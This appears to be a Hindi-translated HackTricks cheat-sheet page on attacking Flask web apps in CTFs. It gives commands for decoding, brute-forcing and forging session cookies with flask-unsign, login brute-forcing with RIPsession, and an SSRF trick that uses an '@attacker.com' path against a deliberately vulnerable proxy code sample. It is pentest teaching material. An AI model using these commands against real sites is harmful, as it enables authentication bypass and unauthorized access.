Flask

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और आसानी से वर्ल्ड के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो बनाएं और स्वचालित करें। आज ही पहुंचें:

संभावना है कि यदि आप CTF खेल रहे हैं तो एक Flask एप्लिकेशन SSTI सर्वर-साइड टेम्पलेट इंजेक्शन** से संबंधित होगा।**

कुकी

डिफ़ॉल्ट कुकी सेशन नाम है session

डिकोडर

ऑनलाइन Flask कुकी डिकोडर: https://www.kirsle.net/wizards/flask-session.cgi

मैन्युअल

कुकी का पहला हिस्सा प्राप्त करें जब तक पहला बिंदु नहीं आता और उसे Base64 डिकोड करें।

echo "ImhlbGxvIg" | base64 -d

कुकी को एक पासवर्ड का उपयोग करके भी साइन किया गया है

Flask-Unsign

कमांड लाइन टूल जो एक Flask एप्लिकेशन की सत्र कुकी को गुप्त कुंजियों की अनुमान लगाकर प्राप्त, डिकोड, ब्रूट-फोर्स और बनाने के लिए है।

pip3 install flask-unsign

कुकी को डिकोड करें

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

ब्रूट फोर्स

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

हस्ताक्षर

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

पुराने संस्करणों का उपयोग करके साइनिंग

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

कमांड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों को ब्रूट-फोर्स करने के लिए है।

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

यह उदाहरण sqlmap eval विकल्प का उपयोग करता है ताकि एक ज्ञात गुप्त से फ्लास्क के लिए sqlmap payloads को स्वचालित रूप से साइन करें।

Flask Proxy to SSRF

इस लेखन में व्याख्या की गई है कि Flask कैसे एक अनुरोध को अनुमति देता है जो वर्ण "@" से शुरू होता है:

GET @/ HTTP/1.1
Host: target.com
Connection: close

किस स्थिति में:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

यह एक SSRF को उत्पन्न करने के लिए "@attacker.com" जैसी कोई चीज़ शामिल करने की अनुमति दे सकता है।

Trickest का उपयोग करें और आसानी से विश्व के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रणालियों को निर्मित करें और स्वचालित करें। आज ही पहुंचें:

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated